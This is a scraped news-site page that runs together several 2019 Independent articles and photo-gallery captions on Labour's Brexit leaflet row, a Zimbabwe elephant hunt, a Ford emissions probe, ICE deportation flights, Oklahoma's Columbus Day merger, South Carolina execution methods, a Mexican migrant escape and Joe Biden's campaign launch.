supporters wave EU flags from a bus in Parliament Square PA Opposing protesters flock to parliament on would be date of Brexit A Brexit supporter shouts slogans outside parliament EPA Opposing protesters flock to parliament on would be date of Brexit A Brexit supporter protests outside parliament Reuters Opposing protesters flock to parliament on would be date of Brexit A Brexit supporter protests outside of the Houses of Parliament Getty Opposing protesters flock to parliament on would be date of Brexit Brexit supporters protest outside of the Houses of Parliament REUTERS Opposing protesters flock to parliament on would be date of Brexit A pro-Brexit flag is waved in Parliament Square AP Opposing protesters flock to parliament on would be date of Brexit The March to Leave nears the Houses of Parliament Reuters Opposing protesters flock to parliament on would be date of Brexit A Brexit protester holds a sign outside parliament EPA Opposing protesters flock to parliament on would be date of Brexit Brexit supporters carry the coffin of democracy AFP/Getty Opposing protesters flock to parliament on would be date of Brexit Brexit supporters march outside parliament AFP/Getty Opposing protesters flock to parliament on would be date of Brexit Brexit supporters take part in the March to Leave protest in London PA Opposing protesters flock to parliament on would be date of Brexit Brexit supporters protest outside parliament AFP/Getty Opposing protesters flock to parliament on would be date of Brexit A Brexit supporter holds a sign outside the Houses of Parliament Getty Opposing protesters flock to parliament on would be date of Brexit A man holds satirical paintings of politicians Reuters Opposing protesters flock to parliament on would be date of Brexit An pro-Brexit float on the March to Leave march in London Reuters Opposing protesters flock to parliament on would be date of Brexit Far-right activist Tommy Robinson addresses protesters outside the Houses of Parliament Getty Opposing protesters flock to parliament on would be date of Brexit A Brexit supporter outside the Houses of Parliament Reuters Opposing protesters flock to parliament on would be date of Brexit A Tommy Robinson supporter arrives at the Houses of Parliament Getty Opposing protesters flock to parliament on would be date of Brexit A jogger gestures rudely at a Brexit supporter outside of the Houses of Parliament AFP/Getty Opposing protesters flock to parliament on would be date of Brexit A Brexit supporter outside the Houses of Parliament PA The letter was organised by the Love Socialism, Hate Brexit group. Signatories included 10 current shadow ministers, House of Commons Brexit select committee chair Hilary Benn and former shadow cabinet ministers including Angela Eagle, Debbie Abrahams, Rachel Reeves and Owen Smith. Several prominent supporters of Mr Corbyn, including shadow Treasury minister Clive Lewis and former international development secretary Kate Osamor, have also added their names. It came as Labour MPs, MEPs and party members reacted with fury to the leaked draft campaign leaflet, which suggested Labour would deliver Brexit by seeking a better deal with Europe. The flyer made no mention of another referendum, saying only: The Tories chaotic handling of Brexit has left our country in crisis. With Labour, Britain will have a proper say in future trade deals and businesses wouldnt have to pay to trade with Europe. Labour will keep a close relationship with the EU and protect workers rights. It is understood that the leaflet, which was drawn up by Mr Corbyns team and staff at Labours HQ, was not signed off by shadow cabinet ministers or Labour MEPs. Sir Keir Starmer, the shadow Brexit secretary, was said to be furious at the omission of the partys policy on another referendum. Sources said many MPs were also infuriated by the draft. Support free-thinking journalism and attend Independent events One Labour MP told The Independent: People went into complete meltdown and were utterly furious at what appears to be yet another attempt by a small cabal of disgruntled officials to undermine the entire rest of the party, with no reference to the very candidates these leaflets are meant to promote. They added: Its quite extraordinary to see this early draft of a leaflet which makes no mention of Labours key conference policy on Brexit, especially just a day after the international commission [of Labours National Policy Forum] responsible for drawing up our policy on these issues unanimously supported a confirmatory vote. I sincerely hope this is an early draft because it would be unacceptable for unelected officials to attempt to subvert Labours members, trade unions and elected representatives in this way. Mr Corbyn has struggled to keep his divided shadow cabinet together on the issue of on another referendum. Some of his closest advisers and shadow ministers, including party chairman Ian Lavery, shadow Cabinet Office minister Jon Trickett and shadow business secretary Rebecca Long-Bailey are staunchly opposed to another vote. But others, led by Sir Keir and deputy leader Tom Watson, have pushed hard for the party to support a Final Say vote. A Labour spokesperson said: There are a number of different texts for different leaflets in circulation, including for a freepost and for other campaign purposes. They all reflect existing party policy. Our manifesto for the European elections will be decided next Tuesday. A trophy hunter has reportedly shot dead a rare large-tusked elephant in Zimbabwe, four years after killing the largest elephant hunted in Africa in three decades. Photographs of the huge elephant show it on its side on the ground after it was killed in Gonarezhou National Park. The hunt was apparently organised by JWK Safaris who posted the image to their Facebook page. In the photos two men can be seen with their faces blurred. The post, which was subsequently deleted, appeared to name a professional hunter as the man who killed the elephant. The post read: Morning Hunters. Here are two photos of a trophy elephant bull that was hunted yesterday in the Gonarezhou Safari areas of Zimbabwe. Inside Indias first elephant hospital Show all 20 1 /20 Inside Indias first elephant hospital Inside Indias first elephant hospital One of the rescued elephants takes a bath in the morning at the Wildlife SOS Elephant Hospital in Mathura, Uttar Pradesh. Wildlife SOS is a conservation nonprofit organisation in India working for animal welfare, elephant conservation and care EPA Inside Indias first elephant hospital A specialised ambulance designed to rescue elephants EPA Inside Indias first elephant hospital Gajraj, who was rescued from an Indian royal family, walks inside the treatment area EPA Inside Indias first elephant hospital Elephants are rescued from heartbreaking conditions in circuses, from street begging and from highway accidents EPA Inside Indias first elephant hospital Gajraj arrives for his treatment EPA Inside Indias first elephant hospital An elephant with the chronic foot disease and generalised infection EPA Inside Indias first elephant hospital A worker hoses one of the rescued elephants EPA Inside Indias first elephant hospital A volunteer feeds an elephant in the morning EPA Inside Indias first elephant hospital One of the rescued elephants takes a bath EPA Inside Indias first elephant hospital Tethering chains, iron hobbles and hooks, which were used to control captive elephants, on display EPA Inside Indias first elephant hospital Gajraj takes a mud bath EPA Inside Indias first elephant hospital Gajraj receives treatment at the hospital EPA Inside Indias first elephant hospital One of the elephants enjoys a meal of fruit and vegetables EPA Inside Indias first elephant hospital Senior veterinary officer Dr Yaduraj shows scans on the screen of a high-end X-ray device EPA Inside Indias first elephant hospital Volunteers scrub down an elephant as it takes a bath EPA Inside Indias first elephant hospital Rescued elephants at the hospital EPA Inside Indias first elephant hospital According to a World Animal Protection data, there are more than 3,000 elephants still in captivity in India, used for the tourism and leisure industry, and many of them are in need of proper care and attention EPA Inside Indias first elephant hospital One of the elephants receives medical treatment EPA Inside Indias first elephant hospital A rescued elephant has a snack EPA Inside Indias first elephant hospital A senior veterinary officer treats an elephant with chronic foot disease and generalised infection EPA These tusks have not been weighed yet. This is an exceptional Gonarezhou trophy bull with long, thick and symmetrical tusks that are typical of the Gonarezhou and Kruger gene. According to AfricaGeographic.com the hunter is the same person who shot dead a bull elephant in 2015 estimated to be the largest killed since 1986. At the time, the hunters reportedly claimed the hunt was ethical as the elephant was past his breeding years. However, elephant experts later said the bull was 35-40 years old and was of prime breeding age. There is concern regarding the loss of the genes that such a large tusker carries. Elephants are now believed to be growing smaller tusks because poaching and hunting has removed so many big-tusked elephants from the gene pool, the National Geographic said in 2015. The elephants apparently targeted by JWK Safaris roam between national parks and the adjacent hunting areas, the organisation says on their website: All of the Zimbabwean hunting concessions that JWK Safaris have on offer are open to the adjoined National Parks that serve as feeder parks to the hunting areas. The website adds: These are serious hunter hunts in big game country. We book on average 60 big game hunters a year in Zimbabwe and have done so for some years now. JWK Safaris have been contacted for comment. The Department of Justice has launched an investigation into Ford Motors emissions certification process, the car manufacturing company announced on Friday. Ford opened an internal probe in February after an anonymous employee reporting system first alerted the company to the issue in September 2018, according to the statement. The federal criminal probe was first revealed Friday in filings with the US Securities and Exchange Commission. As previously reported, the Company has become aware of a potential concern involving its US emissions certification process. We voluntarily disclosed this matter to the US Environmental Protection Agency and the California Air Resources Board on February 18, 2019, and February 21, 2019, respectively., the filing reads. Subsequently, the US Department of Justice opened a criminal investigation into the matter, the filing continues. In addition, we have notified a number of other state and federal agencies. We are fully cooperating with all government agencies. Because this matter is still in the preliminary stages, we cannot predict the outcome, and we cannot provide assurance that it will not have a material adverse effect on us." Penguin habitats threatened by climate change Show all 9 1 /9 Penguin habitats threatened by climate change Penguin habitats threatened by climate change Gentoo penguins on Ardley Island, Antarctic, where global warming has affected the glaciers that the penguins live on and has brought new species to compete with AFP/Getty Penguin habitats threatened by climate change Gentoo penguins on Ardley Island, Antarctic, where global warming has affected the glaciers that the penguins live on and has brought new species to compete with AFP/Getty Penguin habitats threatened by climate change Gentoo penguins in Cuverville Island, designated as an Important Bird Island. These penguins feed on krill but krill is growing scarcer due to climate change AFP/Getty Penguin habitats threatened by climate change Penguins on Ardley Island, Antarctic, where global warming has affected the glaciers that the penguins live on and has brought new species to compete with AFP/Getty Penguin habitats threatened by climate change Gentoo penguins in Cuverville Island, designated as an Important Bird Island. These penguins feed on krill but krill is growing scarcer due to climate change AFP/Getty Penguin habitats threatened by climate change Chinstrap penguins on King George Island. Global warming has affected the glaciers that the penguins live on and has brought new species to compete with AFP/Getty Penguin habitats threatened by climate change Gentoo penguins in Cuverville Island, designated as an Important Bird Island. These penguins feed on krill but krill is growing scarcer due to climate change AFP/Getty Penguin habitats threatened by climate change A penguin and a seal. Global warming has affected the glaciers that these animals live on and has brought new species to compete with AFP/Getty Penguin habitats threatened by climate change Gentoo penguins on Ardley Island, Antarctic, where global warming has affected the glaciers that the penguins live on and has brought new species to compete with AFP/Getty The issue of skirting emissions regulations has caused massive fines and investigations for several car manufacturing giants. The EPA and Volkswagen agreed to a $14.7bn (11.4bn) settlement over an emissions cheating scandal that found the company had installed defeat devices on its diesel engines. Recommended German car makers charged with blocking clean emissions technology The devices provide a capability for engines to detect when they are being tested, before switching to an alternative mode that reflects better emissions numbers. Ford has previously stated its emissions issue is not related to defeat devices. Support free-thinking journalism and attend Independent events Fiat Chrysler was also alleged to have installed software on its Jeep and Ram vehicles to circumvent emissions rules, before signing an $800m (619m) re-compensation agreement. People rented these boxcars for as little as one to three or four dollars a month, depending on how many boxcars there were or maybe their relationship with the railroad foreman or bosses they had, he said. They were on railroad property and they cut several holes in the boxcar for windows, another for a door, and an exhaust for a potbelly stove and put an old sheet or blanket in the middle and you suddenly had two rooms. Officials in Washington state are trying to prevent an airfield being used for controversial deportation flights some of them instances of alleged human rights abuses operated by private contractors hired by US immigration authorities. As a new report revealed the extent of a semi-secret network of charters used by the US immigration and customs enforcement agency, commonly referred to as ICE, to deport people across the world, officials here became the first jurisdiction in the country to formally try and prevent their facility being utilised Since 2010, King County International Airport, located south of Seattle and often referred to as Boeing Field, has been used to deport at least 34,000 migrants on a total of 450 flights, according to new research. Those deportees were among the 1.7m people deported from 88 US cities during that period, and dropped off in 119 countries. A number of the flights are said to have subjected those being deported to humiliating and abusive treatment. In one notorious case, more than 90 Somali men and women were allegedly handcuffed on a plane for almost 48 hours. Windrush generation: threat of deportation from UK Show all 15 1 /15 Windrush generation: threat of deportation from UK Windrush generation: threat of deportation from UK The ex-troopship 'Empire Windrush' arriving at Tilbury Docks from Jamaica, with 482 Jamaicans on board, emigrating to Britain. Getty Windrush generation: threat of deportation from UK Jamaican immigrants being welcomed by RAF officials from the Colonial Office after the ex-troopship 'Empire Windrush' landed them at Tilbury. PA Windrush generation: threat of deportation from UK Alford Gardner who arrived in Britain in 1948 on the first Windrush ship to dock in Tilbury, Essex, speaking at his home in Leeds PA Windrush generation: threat of deportation from UK Alford Gardner in Leeds shortly after he arrived in Britain in 1948 on the first Windrush ship to dock in Tilbury, Essex PA Windrush generation: threat of deportation from UK Gardner was 22 years old when he boarded the ship in Kingston, Jamaica, with his brother Gladstone before they and hundreds of Caribbean migrants called on to rebuild post-war Britain disembarked the ship in Tilbury Docks PA Windrush generation: threat of deportation from UK Alford Gardner (right), during his RAF service in 1947 PA Windrush generation: threat of deportation from UK The son of Ruth Williams, a Windrush-generation immigrant, wants to the leave the country after threats of deportation. According to his mother, Mr Haynes applied for British citizenship in 2016 but was rejected, despite Ms Williams having lived in the UK almost permanently since arriving from St Vincent and the Grenadines in 1959. Ruth Williams, 75, said she felt "betrayed" by Britain after the Home Office twice turned down applications for her 35-year-old son, Mozi Haynes, to remain in the country. Ms Williams is understood to have cancer and said she relies heavily on her son for support. PA Windrush generation: threat of deportation from UK The British liner 'Empire Windrush' at port in 1954. Getty Windrush generation: threat of deportation from UK Ruth Williams, 75, with her British passport. "I feel betrayed and a second class citizen in my own country," she said. "This makes me so sad and the Home Office must show some compassion. "I am unwell and almost 75, I live on my own and I need my son to stay here. I need my family around me and I cant face being alone. He has applied to the Home Office and been refused twice." PA Windrush generation: threat of deportation from UK From the top, hopeful Jamaican boxers Charles Smith, Ten Ansel, Essi Reid, John Hazel, Boy Solas and manager Mortimer Martin arrive at Tilbury on the Empire Windrush in the hope of finding work in Britain. Getty Windrush generation: threat of deportation from UK Jamaicans reading a newspaper whilst on board the ex-troopship 'Empire Windrush' bound for Tilbury docks in Essex. Getty Windrush generation: threat of deportation from UK After half a century in Britain, Anthony Bryan decided it was time to go abroad. But the decision set off a nightmare that saw him lose his job, detained twice and almost deported to Jamaica. AFP/Getty Windrush generation: threat of deportation from UK Jamaica-born Anthony Bryan poses outside his home in Edmonton, north London. Now 60 and a grandfather, Bryan thought the issue could be resolved swiftly, as he legally moved to Britain with his family as part of the Windrush generation of Caribbean migrants after World War II. In 1948, the ship Windrush brought the first group of migrants from the West Indies to help rebuild post-war Britain, and many others followed from around the Commonwealth. A 1971 law gave them indefinite leave to remain, but many never formalised their status, often because they were children who came over on their parents' passports and then never applied for their own. AFP/Getty Windrush generation: threat of deportation from UK Three Jamaican immigrants (left to right) John Hazel, a 21-year-old boxer, Harold Wilmot, 32, and John Richards, a 22-year-old carpenter, arriving at Tilbury on board the ex-troopship 'Empire Windrush', smartly dressed in zoot suits and trilby hats. Getty Windrush generation: threat of deportation from UK Newly arrived Jamaican immigrants on board the 'Empire Windrush' at Tilbury in 1948. Getty After siting on the tarmac at an airport in Senegal, where some claimed they were assaulted and forced to urinate in their seats, they were returned to the US for logistical reasons. This week, authorities in King County, which includes the cities of Seattle and Bellevue and which owns Boeing Field, signed an executive order designed to prevent their facility being used for deportations. We are a community that is open to all, Rachel Smith, King Countys deputy executive, told The Independent. We absolutely think that the community is behind us on this. Ms Smith said stopping the airfield from being used for such flights was not straightforward. When ownership of the federally-constructed facility was transferred to King County at the conclusion of World War II, one of the conditions was that the US government had the right to make use of it. Ms Smith said US customs and border protection officials were not obliged to provide flight manifests to local officials. Indeed, she said King County only became aware the airfield was being used by ICE-contracted deportation flights eight months ago. The order signed this week, seeks to end such flights by revising all new leases with so-called fixed base operators, companies that provide services such as the cleaning of toilets, operation of ramps and refuelling. New leases, she said, would not permit those operators to provide services to deportation flights. Support free-thinking journalism and attend Independent events The investigation into the deportation flights was carried out by researchers at the University of Washingtons centre for human rights, and first reported by the Seattle Times. The report, Hidden in Plain Sight: ICE Air and the Machinery of Mass Deportation, details an extensive network of flights, often operating without the knowledge of those who live in the neighhourhoods. Deportation relies on a complex network of public and private institutions, but in most cases its final phase is carried out, at least in part, aboard a plane, it says. Over the past decade, the institutional infrastructure behind these flights has shifted from a government operation run by the US Marshals Service on government planes, to a sprawling, semi-secret network of flights on privately-owned aircraft chartered by ICE. One of the researchers, Phill Neff, said there were a number of reported instances of flights that had resulted in truly horrendous abuse of detainees. He added: And these are just the cases we know about. Maru Mora Villalpando, a Seattle-based activist with the immigration rights group La Resistencia, said her team had been in touch with one of the men deported to Somalia in December 2017, and who had called them after the plane returned to Miami. Some the passengers filed a class action lawsuit, accusing ICE of inhumane conditions and egregious abuse. He said they had sat in the plane for hours. When some people asked why, they were punched, she said. He said it was like hell in the sky. The report said the two most frequently used private companies, were based in Florida and Arizona. Neither of those charter firms responded to enquiries on Thursday. ICE failed to respond to specific questions about allegations of human rights abuses on flights it operated. In a statement regarding the 2017 flight to Somalia, it said 61 of the 92 people on board were convicted criminals. It claimed those offences ranged from aggravated assault with a weapon, to rape. Detainees were fed at regular intervals to include the providing of extra snacks and drinks, it said. Lavatories were functional and serviced the entire duration of the trip. The allegations of ICE mistreatment onboard the Somali flight are categorically false. Oklahoma governor Kevin Stitt has signed legislation to combine Native American Day and Columbus Day into one singular holiday but denied it downsizes the event. Native American Day was previously celebrated the third Monday of November in Oklahoma, while Columbus Day was celebrated on the second Monday of the month. The Republican governor said I think moving it to Columbus Day, I dont see any downside to it at all, as reported by AP. Stitt continues It just gives us one opportunity to celebrate Columbus, but also the indigenous people here in America. The move came after the Inter-Tribal Council of the Five Civilized Tribes, a local council comprised of Cherokee,n Chickasaw, Choctaw, Muscogee, and Seminole peoples passed a resolution which urged Stitt to sign off on the bill. Deb Haaland: one of the first two Native American congresswomen Show all 16 1 /16 Deb Haaland: one of the first two Native American congresswomen Deb Haaland: one of the first two Native American congresswomen US Representative Deb Haaland hugs fellow representative Sharice Davids after they were sworn in as the first two first Native American women in the House of Representatives Reuters Deb Haaland: one of the first two Native American congresswomen Deb Haaland, wearing traditional Native American attire, rides in an Uber to the US Capitol to be sworn in Reuters Deb Haaland: one of the first two Native American congresswomen Deb Haaland prays with her family in her office before being sworn in Reuters Deb Haaland: one of the first two Native American congresswomen Deb Haaland talks to her mother Mary before being sworn in Reuters Deb Haaland: one of the first two Native American congresswomen Deb Haaland takes the oath of office Reuters Deb Haaland: one of the first two Native American congresswomen Deb Haaland is joined by fellow representative Alexandria Ocasio-Cortez after they were sworn to the US House of Representatives Reuters Deb Haaland: one of the first two Native American congresswomen Deb Haaland, her sister Zoe and their mother Mary, make their way through the underground passageways of the US Capitol after she was sworn in Reuters Deb Haaland: one of the first two Native American congresswomen Deb Haaland and her family pose for a ceremonial photograph with Speaker Nancy Pelosi Reuters Deb Haaland: one of the first two Native American congresswomen Deb Haaland laughs after the ceremony Reuters Deb Haaland: one of the first two Native American congresswomen Deb Haaland works in her office Reuters Deb Haaland: one of the first two Native American congresswomen Deb Haaland speaks at a reception hosted by the Congressional Native American Caucus after being sworn in Reuters Deb Haaland: one of the first two Native American congresswomen Deb Haaland was joined by actor Mark Ruffalo at the reception Reuters Deb Haaland: one of the first two Native American congresswomen Deb Haaland and Sharice Davids were honoured by Ho-Chunk tribal drummers at the reception hosted Reuters Deb Haaland: one of the first two Native American congresswomen Deb Haaland resting at the end of a reception Reuters Deb Haaland: one of the first two Native American congresswomen US Representatives Deb Haaland and Hakeem Jeffries leave the reception Reuters Deb Haaland: one of the first two Native American congresswomen Deb Haaland and Sharice Davids wait in a car to go to back to Capitol Hill to vote after they became the first Native American women in the US House of Representatives Reuters Oklahomas population is approximately nine percent Native American. Former governor Mary Fallin, also a Republican, had vetoed the legislation when it crossed her desk last year. Support free-thinking journalism and attend Independent events Despite this, the merge has not come without significant concern from Native American peoples, who view Columbus as not a heroic explorer, but as a coloniser who instigated years of genocide, rape, and slavery against the indigenous Americans. Some believe there should be no Columbus day to begin with, but others praised the move as an equalizer, similar to how New Mexico and four other states had replaced Columbus day entirely with Indigenous Peoples Day. The Independent spoke to Kaitlin Curtice, an indigenous author and citizen of Potawatomi Nation on the role of Columbus Day in modern American society. The fact that its 2019 and cities are just beginning to really question Columbus Day is a problem that illustrates the erasure and ignorance of Indigenous peoples in the United States. Ms Curtice continues, For Indigenous identities and experiences to really matter to the institutions of the United States, these institutions need to ask why things like established holidays or even monuments and statues can be problematic. Our foundations are colonization. We cannot ignore this any longer, and every city that abolishes Columbus Day is taking one step closer towards that recognition South Carolina lawmakers are considering legislation that would add firing squads to the states existing execution methods - because there aren't enough drugs for lethal injections. The House Criminal Laws subcommittee approved a senate proposal on Thursday that also changes South Carolinas default execution method to the electric chair. Lawmakers acted after prison officials told them they didnt have the drugs needed for lethal injection and don't know when they will be able to obtain them. US states have struggled to purchase drugs for lethal injection as drug companies oppose the use of their products to kill people, and some are scrambling to find new execution methods. The Democrat challengers to Trump in 2020 Show all 25 1 /25 The Democrat challengers to Trump in 2020 The Democrat challengers to Trump in 2020 Bernie Sanders The Vermont senator has launched a second bid for president after losing out to Hilary Clinton in the 2016 Democratic primaries. He is running on a similar platform of democratic socialist reform Getty The Democrat challengers to Trump in 2020 Joe Biden The former vice president recently faced scrutiny for inappropriate touching of women, but was thought to deal with the criticism well and has since maintained a front runner status in national polling EPA The Democrat challengers to Trump in 2020 Elizabeth Warren The Massachusetts senator is a progressive Democrat, and a major supporter of regulating Wall Street Reuters The Democrat challengers to Trump in 2020 Amy Klobuchar Klobuchar is a Minnesota senator who earned praise for her contribution to the Brett Kavanaugh hearings Getty The Democrat challengers to Trump in 2020 Michael Bloomberg Michael Bloomberg, a late addition to the 2020 race, announced his candidacy after months of speculation in November. He has launched a massive ad-buying campaign and issued an apology for the controversial "stop and frisk" programme that adversely impacted minority communities in New York City when he was mayor Getty Images The Democrat challengers to Trump in 2020 Tulsi Gabbard The Hawaii congresswoman announced her candidacy in January, but has faced tough questions on her past comments on LGBT+ rights and her stance on Syrian President Bashar al-Assad Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Pete Buttigieg The centrist Indiana mayor and war veteran would be the first openly LGBT+ president in American history Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Deval Patrick The former Massachusetts governor launched a late 2020 candidacy and received very little reception. With just a few short months until the first voters flock to the polls, the former governor is running as a centrist and believes he can unite the party's various voting blocs AFP/Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Beto O'Rourke The former Texas congressman formally launched his bid for the presidency in March. He ran on a progressive platform, stating that the US is driven by "gross differences in opportunity and outcome" AP The Democrat challengers to Trump in 2020 DROPPED OUT: Kamala Harris The former California attorney general was introduced to the national stage during Jeff Sessions testimony. She has endorsed Medicare-for-all and proposed a major tax-credit for the middle class AFP/Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Bill De Blasio The New York mayor announced his bid on 16 May 2019. He emerged in 2013 as a leading voice in the left wing of his party but struggled to build a national profile and has suffered a number of political setbacks in his time as mayor AFP/Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Steve Bullock The Montana governor announced his bid on 14 May. He stated "We need to defeat Donald Trump in 2020 and defeat the corrupt system that lets campaign money drown out the people's voice, so we can finally make good on the promise of a fair shot for everyone." He also highlighted the fact that he won the governor's seat in a red [Republican] state Reuters The Democrat challengers to Trump in 2020 DROPPED OUT: Cory Booker The New Jersey Senator has focused on restoring kindness and civility in American politics throughout his campaign, though he has failed to secure the same level of support and fundraising as several other senators running for the White House in 2020 Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Wayne Messam Mayor of the city of Miramar in the Miami metropolitan area, Wayne Messam said he intended to run on a progressive platform against the "broken" federal government. He favours gun regulations and was a signatory to a letter from some 400 mayors condemning President Trump's withdrawal from the Paris Climate Accord Vice News The Democrat challengers to Trump in 2020 DROPPED OUT: Kirsten Gillibrand The New York Senator formally announced her presidential bid in January, saying that healthcare should be a right, not a privilege Getty The Democrat challengers to Trump in 2020 DROPPED OUT: John Delaney The Maryland congressman was the first to launch his bid for presidency, making the announcement in 2017 AP The Democrat challengers to Trump in 2020 DROPPED OUT: Andrew Yang The entrepreneur announced his presidential candidacy by pledging that he would introduce a universal basic income of $1,000 a month to every American over the age of 18 Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Julian Castro The former San Antonio mayor announced his candidacy in January and said that his running has a special meaning for the Latino community in the US Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Marianne Williamson The author and spiritual adviser has announced her intention to run for president. She had previously run for congress as an independent in 2014 but was unsuccessful Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Eric Swalwell One of the younger candidates, Swalwell has served on multiple committees in the House of Representatives. He intended to make gun control central to his campaign but dropped out after his team said it was clear there was no path to victory Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Seth Moulton A Massachusetts congressman, Moulton is a former US soldier who is best known for trying to stop Nancy Pelosi from becoming speaker of the house. He dropped out of the race after not polling well in key states Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Jay Inslee Inslee has been governor of Washington since 2013. His bid was centred around climate change AFP/Getty The Democrat challengers to Trump in 2020 DROPPED OUT: John Hickenlooper The former governor of Colorado aimed to sell himself as an effective leader who was open to compromise, but failed to make a splash on the national stage Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Tim Ryan Ohio representative Tim Ryan ran on a campaign that hinged on his working class roots, though his messaging did not appear to resonate with voters Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Tom Steyer Democratic presidential hopeful billionaire and philanthropist Tom Steyer is a longtime Democratic donor AFP/Getty Three other states Mississippi, Oklahoma and Utah already allow the choice of a firing squad if lethal injection isnt available, while nine others allow for electrocution if the primary choice of lethal injection isnt available. Republican state Senator Greg Hembree, who is a supporter of the proposal, said earlier this year that drug companies werent selling South Carolina the chemicals needed to carry out lethal injections because they feared legal challenges. There are currently 29 prisoners on death row in South Carolina, although the last execution in the state took place in 2011. Support free-thinking journalism and attend Independent events The bill passed the state Senate earlier this year, and if the House Judiciary Committee approves it, it could pass the House before the legislature adjourns on 9 May. More than 1,000 migrants have broken out of a detention in southern Mexico, one of the largest mass escapes in recent years. While more than half of the 1,300 migrants have so far returned to the Siglo XXI facility in the border city of Tapachula, about 600 are still unaccounted for, the National Migration Institute said in a statement. Migrants from Cuba make up the majority of those held at the centre in Chiapas state but the escapees who broke out of the centre with no major confrontation with facility officials also included Haitians and Central Americans, according to Mexican newspaper Reforma. Federal police with riot shields streamed into the compound, as a crowd of Cubans whose relatives were being held at the facility gathered outside. Some of those gathered said their family members claimed poor and unsanitary conditions in the facility. My wife and child have been in there for 27 days in bad conditions, Usmoni Velazquez Vallejo told the Associated Press. There is overcrowding, insufficient food and there isnt even medicine for them. Migrants clash with authorities as they seek to cross the US border Show all 23 1 /23 Migrants clash with authorities as they seek to cross the US border Migrants clash with authorities as they seek to cross the US border A group of migrants climb the US border fence in Tijuana AFP/Getty Migrants clash with authorities as they seek to cross the US border A group of migrants cross the dried up Tijuana river AFP/Getty Migrants clash with authorities as they seek to cross the US border Mexico police emerge from a cloud of tear gas Reuters Migrants clash with authorities as they seek to cross the US border Mexico police work to keep migrants from getting over the border with the US AP Migrants clash with authorities as they seek to cross the US border US border patrol agents stand guard as migrant seek to cross the border at Tijuana Reuters Migrants clash with authorities as they seek to cross the US border Adults help a child over the US border fence AFP/Getty Migrants clash with authorities as they seek to cross the US border Migrants near the US border in Tijuana Reuters Migrants clash with authorities as they seek to cross the US border Migrants climb the US border fence in Tijuana AFP/Getty Migrants clash with authorities as they seek to cross the US border Migrants clash with riot police as they near the US border in Tijuana Reuters Migrants clash with authorities as they seek to cross the US border A migrant is detained by US border patrol officers after illegally crossing the border Reuters Migrants clash with authorities as they seek to cross the US border A group of migrants cross the dried up Tijuana river Reuters Migrants clash with authorities as they seek to cross the US border Tear gas is deployed at the border Reuters Migrants clash with authorities as they seek to cross the US border A group of migrants make their way to the US border fence Reuters Migrants clash with authorities as they seek to cross the US border A migrant man wears a homemade gas mask Reuters Migrants clash with authorities as they seek to cross the US border Migrants stand on the banks of the Tijuana river opposite the US border fence Reuters Migrants clash with authorities as they seek to cross the US border A group of migrants cross the Tijuana river Reuters Migrants clash with authorities as they seek to cross the US border Migrants gather at the border crossing in Tijuana AP Migrants clash with authorities as they seek to cross the US border Tear gas is fired by border police to deter migrants EPA Migrants clash with authorities as they seek to cross the US border A migrant covers his face as tear gas surrounds him Reuters Migrants clash with authorities as they seek to cross the US border Migrant families seek to cross the US border at Tijuana Reuters Migrants clash with authorities as they seek to cross the US border Mexico police try to stop migrants from crossing Reuters Migrants clash with authorities as they seek to cross the US border Migrants force their way through the border fence at Tijuana Reuters Migrants clash with authorities as they seek to cross the US border Reuters The Independent has contacted state officials for a response to the claims over the conditions inside the centre. The facility is officially listed as having a capacity of around 1,000 which means the centre was likely filled far beyond that given that not all of the people held there escaped. The break-out comes as Mexican officials face press from Washington to stem the movement of people towards the US border. Mexico has returned 15,000 migrants in the past 30 days, with President Donald Trump threatening once again this week to close the border with Mexico if numbers of those crossing do not fall. While some, including Mr Trump, have spoken about a crisis on the border, the majority of those seeking asylum in the US do so by other means. Critics point to hardline Trump administration polices, such as a tightening of asylum rules and the fact that those seeking shelter in the US must remain in Mexico while their cases are processed, for making the situation worse. In California, one of San Diegos long-term shelters for asylum-seekers will be shutting down, saying they can no longer cope with demand in a building that is already over capacity. We knew that we were violating fire code and other codes by having as many people in our building, Pastor Bill Jenkins, the director of the Christ Ministry Center, told NBC News. But no one would take them ... We were the only place where they could have a roof over their heads and not be on the streets. Support free-thinking journalism and attend Independent events It seems as though [the Trump] administration is trying to make life as miserable as possible for the people who are seeking asylum, Mr Jenkins added. And theyre doing a pretty good job of it. I think our administration wants to prove that theres a crisis. Associated Press and Reuters contributed to this report Former vice president Joe Biden has finally entered the battle for the White House, claiming the 2020 race would be nothing less than a battle for the soul of this nation. In one of the most highly anticipated, but widely expected, steps of the election cycle, the Democrat from Delaware declared his intention to launch his third presidential bid. If he succeeds in securing the partys nomination, it would mean the 2020 contest to lead the large and diverse country is a showdown between two white men in their 70s. In a video, accompanied by stirring score featuring strings and a piano, Mr Biden pointed to the deadly, far-right violence that erupted in Charlottesville, Virginia, in the summer of 2017 as an example at what was at stake. I believe history will look back on four years of this president and all he embraces as an aberrant moment in time, he said. But if we give Donald Trump eight years in the White House, he will forever and fundamentally alter the character of this nation, who we are, and I cannot stand by and let that happen. The Democrat challengers to Trump in 2020 Show all 25 1 /25 The Democrat challengers to Trump in 2020 The Democrat challengers to Trump in 2020 Bernie Sanders The Vermont senator has launched a second bid for president after losing out to Hilary Clinton in the 2016 Democratic primaries. He is running on a similar platform of democratic socialist reform Getty The Democrat challengers to Trump in 2020 Joe Biden The former vice president recently faced scrutiny for inappropriate touching of women, but was thought to deal with the criticism well and has since maintained a front runner status in national polling EPA The Democrat challengers to Trump in 2020 Elizabeth Warren The Massachusetts senator is a progressive Democrat, and a major supporter of regulating Wall Street Reuters The Democrat challengers to Trump in 2020 Amy Klobuchar Klobuchar is a Minnesota senator who earned praise for her contribution to the Brett Kavanaugh hearings Getty The Democrat challengers to Trump in 2020 Michael Bloomberg Michael Bloomberg, a late addition to the 2020 race, announced his candidacy after months of speculation in November. He has launched a massive ad-buying campaign and issued an apology for the controversial "stop and frisk" programme that adversely impacted minority communities in New York City when he was mayor Getty Images The Democrat challengers to Trump in 2020 Tulsi Gabbard The Hawaii congresswoman announced her candidacy in January, 